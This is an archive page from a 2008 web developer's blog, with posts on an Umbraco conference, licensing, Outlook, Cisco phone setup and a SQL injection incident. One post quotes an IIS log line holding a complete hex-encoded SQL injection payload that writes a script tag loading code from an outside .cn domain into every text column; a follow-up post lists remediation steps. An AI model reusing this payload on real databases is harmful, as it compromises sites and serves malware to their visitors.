CodeGarden 08 -been there, done that, got the t-shirt!
Tuesday, June 10, 2008 6:18:53 PM (GMT Standard Time, UTC+00:00)
So things have been manic here the past week, for those of you who didn't know, I popped over to Denmark at the last minute to attend Umbraco's CodeGarden 08. It was great fun and I have to thank Niels Hartvig and Per Ploug Hansen for putting on a great couple of days.
You can check out my photos from the event on Flickr (bear with me, I'm just getting started with Flickr).
I'm sure a fair few people have blogged about the highlights (if you're interested check www.umbraco.org) but the biggy was announcing the release of Umbraco v3.14.0 which is pretty exciting news as it has a ton of feature enhancements and UI improvements. Also, you'll be pleased to hear that they're making 2008 the year of Umbraco documentation!
Another interesting points from the conference was the pending release of Umbraco.TV which will feature tutorial videos and insights from the core team on how to use Umbraco and the Umbraco store which allows you to easily distribute the packages you make :) All in all some interesting developments.
There were also a fair few English developers at the conference so discussion inevitably turned to a UK meet (I know there are a fair few designers and developers here that couldn't justify the expense) so that's something that I'm going to look into setting up. If this is something you'd be interested in, leave a comment or drop me an email and we'll see how much interest there is.
To all the rest of you -it was great to meet you, you're all a lovely bunch and I look forward to meeting you again at CodeGarden 09!
The other thing I've finally clarified (this is for you Simon!) is the Umbraco licensing rules so if you're unsure on those, check out my post on when you need to purchase an Umbraco license (the answer is always -or never, it's up to you!).
When do I need to buy an Umbraco license?
Monday, June 09, 2008 5:16:00 PM (GMT Standard Time, UTC+00:00)
This may seem a slightly obvious/silly post but the answer is simple -it's just not *that* well documented/explained.
In a nutshell there are three scenarios you need to worry about:
- Using Umbraco in a non-commercial environment with the branding (logos etc) intact -no fee
- Using Umbraco in a commercial environment with the branding (logos etc) intact -no fee
- Using Umbraco in a commercial environment without the branding (logos etc) -fee
So there you have it. But to be fair, you should always pay for it if you're using it in a commercial environment just because it's a great product (and it's good for your karma!)
Flickr Pro free to BT Yahoo! users
Thursday, June 05, 2008 8:25:24 PM (GMT Standard Time, UTC+00:00)
I've never really got into Flickr but now I'm using Windows Live Photo Gallery which can automatically upload images for you I thought I'd give it ago. While checking out what the restrictions were on my standard (free!) account I was pleasantly surprised to find out I've actually got a pro account courtesy of BT Yahoo! -Shame I'm leaving them this month ;)
Can't launch Outlook when switching to Exchange from POP3
Friday, May 30, 2008 8:14:36 PM (GMT Standard Time, UTC+00:00)
I've had an irritating issue for the past week or so. I used to use POP3 in Outlook however the other day I switched to the internal Exchange server and I got stuck in an eternal loop saying that Exchange needed to connect to the server to synchronise the offline files and folders -but you couldn't do that until the files were transferred.
The message looked something like this:
The set of folders cannot be opened. You must connect to Microsoft Exchange with the current profile before you can synchronise your folders with your offline folder file.
Took me a while but the fix was to remove the profile and setup the exchange inbox first:
- Click Start, and then click Control Panel.
- Click Switch to Classic View, and then double-click Mail.
- In the Mail Setup dialog box, click Show Profiles.
- On the General tab, click Prompt for a profile to be used, and then click Add.
- In the Profile Name box, type a descriptive name for the new e-mail profile, and then click OK.
- In the E-mail Accounts dialog box, click Add a new e-mail account, and then click Next.
- Click the appropriate server type for your new e-mail account, and then click Next.
- Type your account information in the required boxes, and then click Next.
- Click Finish, and then click OK.
A seriously elegant SQL Injection -how it was sorted
Thursday, May 29, 2008 2:32:33 PM (GMT Standard Time, UTC+00:00)
Doug Setzer posted this comment in response to my recent "A seriously elegant SQL Injection" post and I thought it may be of interest to others so have promoted it to a post...
Well, I'll step up and say that I am the "mate" who had this done. Tim's right - *always* sanitize your inputs. In my defence, this was a site that I inherited from a previous contractor. I'm not entirely absent of blame, I still should have done a security sweep through the code.
I'd like to document the steps that I went through once this was identified to try and avoid this kind of thing in the future.
- Edit every web page that executes a query to sanitize any parameters that are passed in. Since the site was classic ASP, I used my "SQLStringFieldValue" function:
www.27seconds.com/kb/article_view.aspx?id=50 - Modify the DB user account that is used to have *read only* access to the database
- Modify the pages that DO write to the database to have *read/write* access to the specific tables that are being changed. This limits the number of places that SQL Injection can occur to a smaller set than was previously possible. I still sanitize all of my input, but I'm extra spastic in these database calls.
- Add database auditing (triggers writing to mirror tables with audit event indicator & date/time) to see when data changes occur. This is still problematic with the pages that have "write" permissions to the tables, but again- that footprint is much smaller.
My future plans are to move to a view/stored procedure based architecture. I can then limit write permissions to just the stored procedures and read permissions to just the views. My grand gusto plans are to move to using command objects & parameters, but I'd sooner re-write the entire site.
Although Doug's attack wasn't the same nihaorr1.com attack that's going around atm it was similar so I would imagine other's will find this useful.
It still amazes me how many developers still fail to sanitise strings, only last week I came across another site (in PHP) that was allowing simple SQL injections to be used to log into their administration system. It was down to a problem with the sanitization string, but why not at least check your site before it goes live? It takes 2 minutes and even less to fix...
For those of you who need a few pointers, there's a good discussion or two about sanitising strings on the 4 Guys From Rolla site.
A seriously elegant SQL Injection
Wednesday, May 28, 2008 4:46:49 PM (GMT Standard Time, UTC+00:00)
Having been subject to a recent hack myself I can sympathise with one of my mates who had a SQL injection attack succeed on one of his sites earlier today. Admitadly mine was due to poor internal maintanence whereas this is almost a piece of art...
This is an extract from the IIS log file:
2008-05-20 21:21:28 W3SVC1 xxx.xxx.xxx.xxx POST /news_detail.asp newsID=37;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0039006900350074002E0063006E002F0061002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);-- 80 - 221.130.180.215 Mozilla/3.0+(compatible;+Indy+Library) -
www.domain.com 200 0 0
This works out to:
DECLARE @T varchar(255), @C varchar(255) DECLARE Table_Cursor
CURSOR FOR select a
.name
,b
.name
from sysobjects a
,syscolumns b
where a
.id=b
.id
and a
.xtype=
'u' and (b
.xtype=
99 or b
.xtype=
35 or b
.xtype=
231 or b
.xtype=
167) OPEN Table_Cursor
FETCH NEXT
FROM Table_Cursor
INTO @T,@C WHILE(@@FETCH_STATUS=
0) 
begin...end Table_Cursor
DEALLOCATE Table_Cursor
Very nice :) (though I can't condone hacking -no matter how elegant it is!)
p.s. The moral of the story is Always sanitise your strings -it's easy!
SSH to the Cisco 7970G and set the date/time
Tuesday, May 27, 2008 9:20:21 PM (GMT Standard Time, UTC+00:00)
As everything so far with getting the Cisco's 7970G to work on a SIP provider has been a nightmare, I thought I would share a few of my experiences. Sometimes it's the little things that make the biggest difference so this is how you correct the date and time!
Setting the Cisco 7970G's time is actually pretty simple:
- Download putty.exe and puttygen.exe from the putty download page
- Generate a key using puttygen.exe
- Update the "Key Comment" value to default@cisco
- Save the public key in a text file called authorized_keys and save it in your TFTP file folder
- Save the private key in your TFTP file folder
- Run putty.exe
- Enter your phone's IP in the "Host Name" box
- Go to Connection --> SSH --> Auth and click the "Browse" button and select your private key file (in your TFTP folder)
- Go to Connection --> Data and enter default under the "Auto-login username"
- (Optional) Save the settings in case you want to login again
- Click "Open" at the bottom of putty.exe to start the session
- Login using the username default and password user
- At the command prompt, type: /bin/date yyyyMMddhhmm (replacing the letters for the respective values)
Dependant on which firmware version your phone is running, the date/time might need to be in CST. If you're like me and in GMT this time website is pretty useful to keep in touch with things time wise.
When I moved the phone to 8.3.4 SR1 I found that the phone was (finally) pulling through the date/time setting correctly so I didn't need to use CST anymore. I've also set the NTP values which should automatically set the date/time which seems to be working on my phones but I've heard reports that it's not on others...
The Site Doctor stressballs have arrived!
Friday, May 23, 2008 2:24:53 PM (GMT Standard Time, UTC+00:00)
Exciting times as all our hard work is finally coming to fruition -our branded stressballs have arrived and they look AWESOME! I really couldn't have hoped for a better looking outcome if I had tried, they're unbelievably cool (that or I'm unbelievably sad!) but take a look for yourself and see what you think! (You'll have to excuse the photography)
They were delivered in a massive box -I don't think I've seen so many pills before! All exciting...
